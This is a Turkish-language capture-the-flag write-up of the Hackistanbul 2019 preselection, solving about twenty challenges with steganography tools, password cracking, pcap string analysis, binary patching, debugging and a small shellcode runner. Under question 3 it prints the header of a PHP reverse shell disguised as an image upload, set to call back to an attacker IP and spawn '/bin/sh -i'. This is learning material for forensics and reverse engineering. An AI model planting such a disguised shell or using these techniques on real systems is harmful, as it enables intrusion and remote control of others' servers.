Hackistanbul 2019 (Preselection)
24 Aug 2019Emeği geçen herkese teşekkürler. Öncelikle en başta takımım goeoe, morph3, and layle’ye teşekkürler.
Soru 1 (Hint: “Futureboy”)
İlk soru aşağıdaki resim:
Aldığımız ipucunu kullanarak https://futureboy.us/stegano/decinput.html adresinde decode ediyoruz ve sonuç:
aHR0cHM6Ly9wYXN0ZWJpbi5jb20vUGZMWWRUNGI=
decode edelim:
$ base64 -d <<< ""
https://pastebin.com/PfLYdT4b
Ve türkiyede olduğumuz için vpn’imizi açıp bu linke devam edince flag’i alıyoruz.
flag:1kn0w17551mpl3
Soru 2 (Hint: None)
Bu soruda bize içerisinde kerberos trafiği olan bi pcap dosyası veriliyor.
Her ne kadar el alışkanlığı ile dosyadan ktgt hashlerini dumplamış olsak da, buna gerek yok.
Pcap dosyasını incelemek yerine strings ile analiz edebiliriz.
Sadece strings kullanmak çok fazla boş sonuç verecektir, bu yüzden en az 8 karakterleri ayırıp bayrağın daha uzun olduğunu umalım.
$ strings 2-krb-816.pcapng -n 8
0370913024805Z
20370913024805Z
XP1
20050816094029Z
DENYDC.COMdes0
DENYDC.COMdes
20370913024805Z
20370913024805Z
XP1 h
DENYDC.COMdes
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
DENYDC.COM
xp1.denydc.com
20370913024805Z
DENYDC.COM
DENYDC.COM
xp1.denydc.com
DENYDC.COM
DENYDC.COM
DENYDC.COM
...
Burdan gereksiz şeyleri grep -v kullanarak ayıralım.
$ strings 2-krb-816.pcapng -n 8| grep -vi "denydc\|20370913024805Z"
XP1
20050816094029Z
XP1 h
VPC-W2K3ENT
VPC-W2K3ENT
TQ8z8T'e
VPC-W2K3ENT
VPC-W2K3ENT
u6$Kg~\Yg
#:a=+oOuA?
XP1 l
XP1 l
easy_as_1_2_3
Mükemmel!
flag: easy_as_1_2_3
Soru 3: Hacker’ın ip adresini bul. (Hint: “reverseshell”)
Bize bir zip dosyası veriliyor ve içerisinde bir cms var.
En sık kullanılan reverse shell yöntemlerinden biri file upload ile, o yüzden php dosyalarını print ediyorum.
$ ls -alR . | grep ".php$\|.php5$"
...
-rw-r--r-- 1 kali kali 2992 Jun 14 2015 QqSDK.class.php
-rw-r--r-- 1 kali kali 3010 Jun 14 2015 RenrenSDK.class.php
-rw-r--r-- 1 kali kali 2496 Jun 14 2015 SinaSDK.class.php
-rw-r--r-- 1 kali kali 2414 Jun 14 2015 SohuSDK.class.php
-rw-r--r-- 1 kali kali 2510 Jun 14 2015 T163SDK.class.php
-rw-r--r-- 1 kali kali 2505 Jun 14 2015 TaobaoSDK.class.php
-rw-r--r-- 1 kali kali 2647 Jun 14 2015 TencentSDK.class.php
-rw-r--r-- 1 kali kali 2524 Jun 14 2015 X360SDK.class.php
-rw-r--r-- 1 kali kali 730 Jun 14 2015 config.php
-rw-r--r-- 1 kali kali 151 Jun 14 2015 debug.php
-rw-r--r-- 1 kali kali 11253 Jun 14 2015 File.class.php
-rw-r--r-- 1 kali kali 428 Jun 14 2015 db_config_sample.php
-rw-r--r-- 1 kali kali 2645 Jun 14 2015 function.php
-rw-r--r-- 1 kali kali 677 Jun 14 2015 config.php
-rw-r--r-- 1 kali kali 9985 Jun 14 2015 IndexController.class.php
-rwx------ 1 kali kali 3461 Aug 20 12:28 avatar.png.php
En altta avatar.png.php yi görmek mümkün. Farklı izin türü ve png.php oluşu ile dikkat çekiyor. Bakalım nerede
$ find . -name "avatar.png.php"
./Upload/avatar.png.php
Mantıklı, eğer upload klasörü olduğunu bilseydim ilk buna bakardım.
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.62'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
...
?>
Vee burada.
flag:10.10.10.62
soru 4: (Hint: “debug or nay”)
Bu sefer bize aşağıdaki py dosyası veriliyor.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
if __name__ == "__main__":
num1=188
num2=881
result = 0x0
i = 1
for char in FLAG:
try:
if i % 2 != 0:
i += 1
i = i ^ num2
result = char ^ i ^ num1
redacted_flag.append(result)
except TypeError:
print("What did you expect, a flag?")
Çalıştırmak pek bir işe yaramıyor
$ python 4-delusion.py
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
What did you expect, a flag?
Onun yerine nasıl çalıştığını anlamaya çalışalım.
FLAG listesini iterate ediyor. Eğer i bir tek sayı ise, artıyor ve 881 ile xor ediliyor.
ve her adımda char ^ i ^ 188 flag e append ediliyor.
Bu sanırım flag’i generate ediyor gibi gözüküyor, ama type errorleri alıyoruz. Acaba redacted_flag’i mi iterate etmek lazım?
Öncelikle RES=[] şeklinde boş bi liste oluşturalım, ve bu sefer redacted_flag ile generate edelim, ve sonucu RES e ekleyelim.
Hazır başlamışken sonucu da liste olarak değil string olarak print edelim.
redacted_flag = [948, 205, 938, 216, 934, 214, 940, 57, 860, 33, 850, 56]
FLAG= [ "R", "E", "D", "A", "C", "T", "E", "D"]
RES =[]
if __name__ == "__main__":
num1=188
num2=881
result = 0x0
i = 1
for char in redacted_flag:
try:
if i % 2 != 0:
i += 1
i = i ^ num2
result = char ^ i ^ num1
RES.append(chr(result))
except TypeError:
print("What did you expect, a flag?")
print(''.join(RES))
Vee işte bayrak.
$ python 4-delusion.py
{tamagotchi}
Soru 5: (Hint: None)
Bu sorular arasında en sevmediğimdi.
Bu sefer bize bi exe veriliyor, ama ilk bakışta bi sıkıntı görmek mümkün.
$ file 5-hi.exe; wc 5-hi.exe
5-hi.exe: ASCII text, with no line terminators
0 1 40 5-hi.exe
40 byte lık bir aasci, ve içeriği bu:
ea01e56d35d1b236cd41bc569e3847811b03c104
Öncelikle bunun bir dosya hashi olduğunu ve orjinal exe yi bulmamız gerektiğini düşündük, fakat güvende olmak için hash üzerinde bi rockyou’yu denedik, ve kırılmadı. Virustotal ve hybrid-analysis üzerinde aradık, hatta adı diğer hi.exe olan sample ları bile indirdik, fakat nafile. Bu sefer online hash cracking yapan rainbow tablosu sitelere baktık, ama burada da sonuç alamadık, ve altta john u açıp diğer sorulara geçtik.
Adımdaki diğer tüm soruları çözdükten sonra, buna geri döndük ve john da sonuç olmadığını görünce extra yerlere baktık, national software reference library gibi, fakat nafile. Biraz daha zaman kaybettikten sonra sonuç alabildiğimiz bir hash cracking rainbow sitesi bulduk, yani soruyu hazırlayan hash sonucunu buraya upload etmiş demek.
https://hashtoolkit.com/reverse-hash/?hash=ea01e56d35d1b236cd41bc569e3847811b03c104
flag:flag{HelloIGotThflag3}
Soru 6: (Hint: None)
Bu sefer bi png resmi veriliyor.
Binwalk normal, exif yok ve strings bir şey vermiyor
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1200 x 802, 8-bit/color RGB, non-interlaced
41 0x29 Zlib compressed data, default compression
Zsteg sorusuna benziyor, deneyelim bakalım.
Eğer yüklemediyseniz:
$ sudo gem install zsteg
$ zsteg 6-hi19.png
imagedata .. file: shared library
b1,g,lsb,xy .. file: Tower32/600/400 68020 object not stripped - version 27790
b1,rgb,msb,xy .. file: raw G3 (Group 3) FAX, byte-padded
b1,bgr,lsb,xy .. text: "\nflag{h-19}"
b3,r,lsb,xy .. text: "nMS6^Z'0/&"
b4,r,lsb,xy .. text: "B \"03De#"
b4,g,lsb,xy .. text: "u\"|}^WB!"
b4,rgb,lsb,xy .. text: "S$SV6QA$"
b4,bgr,lsb,xy .. text: "#TT&SV1A"
Ve bu bize bayrağı veriyor.
flag:flag{h-19}
Ook 7: (Ook: Ook!?)
Ook?
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.. ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!.
..... ..... ..!.. .!.!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... .....
!.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!!! !!.?.
Ook.
Ook!
NTIOPMZM > Ook………………………………..? > FLAGHERE
Soru 8: Follow the aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF (Hint: None)
Bu soru için indirme linki bozuk, fakat başlıkta b64 var. Açıp bakalım
$ base64 -d <<< "aHR0cHM6Ly9pbWd1ci5jb20vYS90UkJCaDFF"
https://imgur.com/a/tRBBh1E
Ve yine türkiyede olduğumuz için vpn’i açıp linke girince bunu buluyoruz.
Dancing man cipher! Google ile ararsanız, her bir adamın bir harfe denk geldiğini göreceksiniz.
flag: dancewithme
Soru 9 (Hint: “Rockyo”)
Bu sefer bize verilen bir bir zip dosyası.
Rockyo büyük ihtimalle rockyou.txt. zip2john yapıp crackleyelim.
$ zip2john 9-queen.zip
ver 1.0 efh 5455 efh 7875 9-queen.zip/queen.mp3 PKZIP Encr: 2b chk, TS_chk, cmplen=30, decmplen=18, crc=9C1E1DFC
9-queen.zip/queen.mp3:$pkzip2$1*2*2*0*1e*12*9c1e1dfc*0*43*0*1e*9c1e*51f3*6718ecc34afcea96ef96aa279121047d519eb6a7e0355aeb98663bae32b7*$/pkzip2$:queen.mp3:9-queen.zip::9-queen.zip
Hemen kırılıyor, ve şifresi lucky7777
İçerisinde tek bir queen.mp3 var ve içeriği:
flag:w3_w1Ll_r0CKy0U!!!
Hazır başlamışken.
Eğer hala okuyorsanız aklıma geldikçe güldüğüm bir şeyi paylaşmak istiyorum, hazır konusu açılmışken.
Soru 10 (Hint: “Return Codes”)
Bu açık ara en zor ve en güzel soruydu bence, hadi başlayalım.
İlk önce bu binary’yi indiriyoruz..
Potansiyel malware? HADI NE OLDUĞUNA BAKMADAN ÇALIŞTIRALIM!
$ ./10-iLock
Do every step or jump over it
Patch the return value of edgynumber function to 40
I see no change, exiting...
Kendi kendini açıklıyor, yapalım bakalım. Binary patchlemek için radare2/cutter kullanıyorum.
-w modunda açmayı unutmayın..
sym.edgynumber:
Eax return register’ı olmalı, ve de stack’e poplamadan ve returnlemeden önce, 0x539 un register’a yüklendiğini görüyoruz. Bunu değiştirmeliyiz. Sağ click, edit, instruction, ve mov değerini 0x28 (40) yapalım.
$ ./10-iLock.edgypatch
Do every step or jump over it
Patch the return value of edgynumber function to 40
Well done!
Lets see, what is the pin that I have?
Mükemmel, bişeyler değişti ve stdin için durduk. Şimdi ghidra ile açıp bakalım
Stringlerde ilgi çekici şeyler var, ama flag yok.
Burda değiştirecek pek bir şey yok ama alışkanlıktan dolayı değiştiriyorum.
En başta bi mutex kilidi sanmıştım, ama LOCK() sanırım custom bir şey, bakalım
Yok, hayır, mersenne_twister_engine ile falan uğraşmak istemiyorum. Param 1 olunca başka bir şey yapıldığını görüyorum ve flagden bahsettiğini de farkındayım, bu tarafla uğraşmayacağım bile. Param 1 verilince flagden bahsedip &DAT_00014080 den bir global variable yüklüyor.
Burda çok zaman kaybettim ama paylaşmak istiyorum, çünkü güzel bi deneyimdi.
İstemiyorsanız indentli kısmın sonuna kadar skipleyin
Global variable’ın yüklendiğini biliyordum, fakat bunun runtime içinde değiştirilebiliyor olacağını düşündüm. Bu nedenle LOCK(0) ı LOCK(1) Olarak patchleyip, LOCK da breakledim.
gdb-peda$ break LOCK
gdb-peda$ run
*break tetiklenir*
$gdb-peda finish
*function sonuna kadar devam*
Sonra:
$ ps -ef | grep iLock
...
kali 19791 19781 0 16:42 pts/4 00:00:00 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
...
$ cat /proc/19791/maps
56555000-56556000 r--p 00000000 08:19 271892 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56556000-56559000 r-xp 00001000 08:19 271892 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
56559000-5655b000 r--p 00004000 08:19 271892 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655b000-5655c000 r--p 00005000 08:19 271892 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655c000-5655d000 rw-p 00006000 08:19 271892 /media/sdb9/sec/hackistanbul/10-iLock.edgypatch
5655d000-5657f000 rw-p 00000000 00:00 0 [heap]
f7b18000-f7b1a000 rw-p 00000000 00:00 0
f7b1a000-f7b33000 r--p 00000000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7b33000-f7c81000 r-xp 00019000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7c81000-f7cf1000 r--p 00167000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7cf1000-f7cf2000 ---p 001d7000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7cf2000-f7cf4000 r--p 001d7000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7cf4000-f7cf5000 rw-p 001d9000 08:17 1316978 /lib/i386-linux-gnu/libc-2.28.so
f7cf5000-f7cf8000 rw-p 00000000 00:00 0
f7cf8000-f7cfa000 r--p 00000000 08:17 1314711 /lib/i386-linux-gnu/libgcc_s.so.1
f7cfa000-f7d10000 r-xp 00002000 08:17 1314711 /lib/i386-linux-gnu/libgcc_s.so.1
f7d10000-f7d14000 r--p 00018000 08:17 1314711 /lib/i386-linux-gnu/libgcc_s.so.1
f7d14000-f7d15000 r--p 0001b000 08:17 1314711 /lib/i386-linux-gnu/libgcc_s.so.1
f7d15000-f7d16000 rw-p 0001c000 08:17 1314711 /lib/i386-linux-gnu/libgcc_s.so.1
f7d16000-f7d20000 r--p 00000000 08:17 1316981 /lib/i386-linux-gnu/libm-2.28.so
f7d20000-f7de2000 r-xp 0000a000 08:17 1316981 /lib/i386-linux-gnu/libm-2.28.so
f7de2000-f7e1a000 r--p 000cc000 08:17 1316981 /lib/i386-linux-gnu/libm-2.28.so
f7e1a000-f7e1b000 r--p 00103000 08:17 1316981 /lib/i386-linux-gnu/libm-2.28.so
f7e1b000-f7e1c000 rw-p 00104000 08:17 1316981 /lib/i386-linux-gnu/libm-2.28.so
f7e1c000-f7e87000 r--p 00000000 08:17 1838283 /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7e87000-f7f41000 r-xp 0006b000 08:17 1838283 /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f41000-f7f91000 r--p 00125000 08:17 1838283 /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f91000-f7f97000 r--p 00174000 08:17 1838283 /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f97000-f7f98000 rw-p 0017a000 08:17 1838283 /usr/lib/i386-linux-gnu/libstdc++.so.6.0.25
f7f98000-f7f9b000 rw-p 00000000 00:00 0
f7fcd000-f7fcf000 rw-p 00000000 00:00 0
f7fcf000-f7fd2000 r--p 00000000 00:00 0 [vvar]
f7fd2000-f7fd4000 r-xp 00000000 00:00 0 [vdso]
f7fd4000-f7fd5000 r--p 00000000 08:17 1316972 /lib/i386-linux-gnu/ld-2.28.so
f7fd5000-f7ff1000 r-xp 00001000 08:17 1316972 /lib/i386-linux-gnu/ld-2.28.so
f7ff1000-f7ffb000 r--p 0001d000 08:17 1316972 /lib/i386-linux-gnu/ld-2.28.so
f7ffc000-f7ffd000 r--p 00027000 08:17 1316972 /lib/i386-linux-gnu/ld-2.28.so
f7ffd000-f7ffe000 rw-p 00028000 08:17 1316972 /lib/i386-linux-gnu/ld-2.28.so
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
Globalin stackde olduğunu bildiğim için artık stack memorysini gdb ile dump edebilirim.
gdb-peda$ dump binary memory memory.dump 0x56555000 0x5655d000
Bu işlemin stack memory’sini dump edecek, fakat tamamen gereksizmiş, sonradan farkettim.
Ghidra’da variable a çift tıklayarak bulunduğu yere gidiyoruz. Bununla karşılaşıyoruz:
Bunu temizlemek için biraz regex büyüsü yapalım!
- ilk önce
( [0-9a-f]{8} )([0-9a-f]{2})(.*)
i$2
olarak replace edin. - Sonra her satırda 1 byte ile kalıyoruz. Şimdi tüm null byteları silelim. Yani, replace(‘00\n’, ‘\n’)
- Şimdi her şeyi tek bir satıra alalım(‘\n’,’’)
Elimizde kalan:
353f283a070b1413230f0c1510101918231105230e1d1218131112190f0f4301
Bu noktada return codes ipucunu hatırlayıp bunu 7c ile xor edebilirsiniz, veya benim gibi tüm 1 byte anahtarları deneyebilirsiniz.
flag:ICTF{who_spilled_my_randomness?}
Soru 11 (Hint: None)
Tekrar jpeg.
Jpeg dosyası ve resimde password üzerinde vurgu yapılıyor, tabiki steghide.
CTF hakkındaki “hack,hackistanbul,turkey,ctf,password,pass” gibi anahtar kelimelerden ve kombinasyonlarından liste oluşturabilirsiniz, ama sonuç o ki şifre: “hackistanbul”
$ steghide extract -sf 11-meim.jpg
Enter passphrase: hackistanbul
wrote extracted data to "flag.txt".
$ cat flag.txt
{G00dAndW3lcomeToHa3kIstanbul}
flag:{G00dAndW3lcomeToHa3kIstanbul}
Soru 12 (Hint: None)
12 başka bir binary. Hepsi bu.
$ strings 12-dosya.exe | grep "flag"
flag-hi19
flag{hi19}
flag: flag-hi19
Soru 13 (Hint: None)
13 hex dump gibi gözüküyor, ama tersten?
65d6 0377 5674 1587 4585 46f4 6575 2585 :00100000
6503 46f6 65c6 9577 a544 2575 2664 c633 :0f000000
75b6 a5f4 6555 1375 3684 0785 1623 d413 :0e000000
65a6 a4b4 2523 a454 45c6 8686 d4b6 0387 :0d000000
65d6 1343 9575 d497 35b6 6555 a026 8424 :0c000000
8565 d687 7755 6546 75a5 4425 45d4 b613 :0b000000
4365 7453 f416 1507 3526 b6a4 0565 7513 :0a000000
4346 2365 75a5 6446 1635 8424 3755 d613 :09000000
3575 6465 47e4 5547 a555 8524 4595 c646 :08000000
f646 c6a5 74a5 8407 b6a0 d4c6 a584 75b6 :07000000
a5b6 9565 a474 35c6 65a5 2664 0784 45c6 :06000000
a516 3574 2574 a564 a516 d403 a477 6575 :05000000
07b4 2623 2537 75b6 4685 2674 2527 34b6 :04000000
1354 65c6 8675 d4e6 8685 65c6 46b4 7565 :03000000
6557 35c6 0786 a0d4 6507 d465 c625 7436 :02000000
2325 8535 8507 1625 c6a4 2745 7507 e6e4 :01000000
6554 9795 a7c6 1555 7583 9334 76d3 d3a0 :00000000
İçeriği neymiş bakalım.
- İlk önce ters çevirelim.
- Sonra satır başlarındaki ?????: kısmını silelim
- Sonra hex’den decode edelim
Ters b64 gibi duruyor, çevirip tekrar decode edelim.
B64 gelmeyene kadar devam edelim.
flag:{its_something}
Soru 14 (Hint: None)
14 başka bir MACOS binary’si.
Strings analizi iyi bir şey çıkarmıyor, fakat ghidrayı kullanarak çağırılmayan fonksiyonlar olduğunu görebiliyorum. İçinde _HelloFunction var, ve içeriği:
Ghidra type hatası yapıyor, acStack56 tipini char[4] den char[28] olarak düzeltelim.
Evet, bu bayrak. replace ( local_..\[.{1,2}\] = ')(.)';\n?
, $2
flag:{TFtisNiTceToPlayWithlol}
Soru 15 (Hint: “comparee function”)
Bu soru da bir binary..
Çalıştırmak pek bir şey katmıyor.
$ ./15-serialkey.1
Please enter the serial key:
asdf
Serial-Key is invalid
Hadi ghidra ile açalım!
String olarak hardcoded bir key yok, kendisi generate ediyor olsa gerek.
Comparee dışında pek bir incelenecek şey yok (zaten hint vardı)
Eğer çok deneyimli iseniz, 2 block getNum() ve 2 block getString() ile generate edildiğini görebilirsiniz. Statik analiz yaparak anahtarı bulabilirsiniz, fakat debugger ile daha kolay. gdb yi açalım.
gdb-peda$ break comparee
Breakpoint 1 at 0x2651
Çalıştırıp herhangi bir şey girelim Bunu tamamlayıp comparee de durmalı.
Sonraki adımda bir şeylerin generate edilip registerlarda tutulduğunu görebilirsiniz.
Next ile devam edelim, bu blokların birleştirildiğini göreceksiniz.
Ve işte anahtar!
Hadi deneyelim!
$ ./15-serialkey.1
Please enter the serial key:
336663-RLD-670334-LDWR
Serial-Key is valid
flag:336663-RLD-670334-LDWR
Soru 16 (Hint: “Flag format is MATH{hex}”)
Bu dissassembled bir koda benziyor.
0x5655619d <+0>: lea ecx,[esp+0x4]
0x565561a1 <+4>: and esp,0xfffffff0
0x565561a4 <+7>: push DWORD PTR [ecx-0x4]
0x565561a7 <+10>: push ebp
0x565561a8 <+11>: mov ebp,esp
0x565561aa <+13>: push ebx
0x565561ab <+14>: push ecx
0x565561ac <+15>: sub esp,0x10
0x565561b4 <+23>: add eax,0x2e4c
0x565561b9 <+28>: mov DWORD PTR [ebp-0x18],0x0
0x565561c0 <+35>: mov DWORD PTR [ebp-0x10],0x4171
0x565561c7 <+42>: mov DWORD PTR [ebp-0x14],0x0
0x565561ce <+49>: mov DWORD PTR [ebp-0x18],0x0
0x565561d5 <+56>: jmp 0x565561e4 <main+71>
0x565561d7 <+58>: mov edx,DWORD PTR [ebp-0x10]
0x565561da <+61>: sub edx,0x3
0x565561dd <+64>: add DWORD PTR [ebp-0x14],edx
0x565561e0 <+67>: add DWORD PTR [ebp-0x18],0x1
0x565561e4 <+71>: cmp DWORD PTR [ebp-0x18],0x2
0x565561e8 <+75>: jle 0x565561d7 <main+58>
0x565561ea <+77>: mov DWORD PTR [ebp-0xc],0x7589
0x565561f1 <+84>: mov edx,DWORD PTR [ebp-0xc]
0x565561f4 <+87>: sub DWORD PTR [ebp-0x14],edx
0x565561f7 <+90>: mov edx,DWORD PTR [ebp-0x10]
0x565561fa <+93>: add DWORD PTR [ebp-0x14],edx
0x565561fd <+96>: sub esp,0x8
0x56556200 <+99>: push DWORD PTR [ebp-0x14]
Bunu assemble edebilecek formata çekelim, replace ^.*:
,’’.
lea ecx,[esp+0x4]
and esp,0xfffffff0
push DWORD PTR [ecx-0x4]
push ebp
mov ebp,esp
push ebx
push ecx
sub esp,0x10
add eax,0x2e4c
mov DWORD PTR [ebp-0x18],0x0
mov DWORD PTR [ebp-0x10],0x4171
mov DWORD PTR [ebp-0x14],0x0
mov DWORD PTR [ebp-0x18],0x0
jmp 0x565561e4 <main+71>
mov edx,DWORD PTR [ebp-0x10]
sub edx,0x3
add DWORD PTR [ebp-0x14],edx
add DWORD PTR [ebp-0x18],0x1
cmp DWORD PTR [ebp-0x18],0x2
jle 0x565561d7 <main+58>
mov DWORD PTR [ebp-0xc],0x7589
mov edx,DWORD PTR [ebp-0xc]
sub DWORD PTR [ebp-0x14],edx
mov edx,DWORD PTR [ebp-0x10]
add DWORD PTR [ebp-0x14],edx
sub esp,0x8
push DWORD PTR [ebp-0x14]
Hmm, <main+71>
and <main+58>
Doğru değil, bunlara label verip labelları doğru yerlere ekleyelim.
lea ecx,[esp+0x4]
and esp,0xfffffff0
push DWORD PTR [ecx-0x4]
push ebp
mov ebp,esp
push ebx
push ecx
sub esp,0x10
add eax,0x2e4c
mov DWORD PTR [ebp-0x18],0x0
mov DWORD PTR [ebp-0x10],0x4171
mov DWORD PTR [ebp-0x14],0x0
mov DWORD PTR [ebp-0x18],0x0
jmp ahead
back:
mov edx,DWORD PTR [ebp-0x10]
sub edx,0x3
add DWORD PTR [ebp-0x14],edx
add DWORD PTR [ebp-0x18],0x1
ahead:
cmp DWORD PTR [ebp-0x18],0x2
jle back
mov DWORD PTR [ebp-0xc],0x7589
mov edx,DWORD PTR [ebp-0xc]
sub DWORD PTR [ebp-0x14],edx
mov edx,DWORD PTR [ebp-0x10]
add DWORD PTR [ebp-0x14],edx
sub esp,0x8
push DWORD PTR [ebp-0x14]
defuse.ca ile assemble edebiliriz.
Buradan bize string lateral lazım:
"\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC"
Sonrasında bunu shellcode gibi çalıştırabiliriz.
int main(void)
{
char code[] = "\x8D\x4C\x24\x04\x83\xE4\xF0\xFF\x71\xFC\x55\x89\xE5\x53\x51\x83\xEC\x10\x05\x4C\x2E\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xF0\x71\x41\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xEB\x0D\x8B\x55\xF0\x83\xEA\x03\x01\x55\xEC\x83\x45\xE8\x01\x83\x7D\xE8\x02\x7E\xED\xC7\x45\xF4\x89\x75\x00\x00\x8B\x55\xF4\x29\x55\xEC\x8B\x55\xF0\x01\x55\xEC\x83\xEC\x08\xFF\x75\xEC";
int (*fn)() = (int(*)())code;
return fn();
}
$ gcc -fno-stack-protector -z execstack -m32 16.c -o asm
$ gdb asm
Segfault almadan önce, yapılan son instruction ın stack üzerine 0x9032’yi pushladığını görebilirsiniz.
flag:0x9032
Soru 17 (Hint: None)
Bunu malesef çözemedik. Bir binary indiriyoruz, fakat üzerinde pek bir şey yok.
String yok, data yok, sadece parametre olarak 2 filename alan ve bunları xor yapan bir MACOS executable’ı.
Belki de sadece bi ipucudur, eski flagleri veya dosyaları xor etmemiz gerekiyordur diye düşündük, fakat nafile.
Question 18-19
Bunları birleştiriyorum çünkü hemen hemen 14 ile aynı.
Ghidra ile açıp retype ediyoruz.
flag:{GettingTheFlagIsNotcool}
flag:{LIKtotryhArderIAmCo0ool}
Question 20 (Hint: None)
Bu da bir pcap dosyası..
$ strings 20-preselection-pcap.pcap | grep flag
<DIV><FONT face=3DArial size=3D2>flag-hack-istanbul-ctf</FONT></DIV></BODY></HTML>
ez.
flag:flag-hack-istanbul-ctf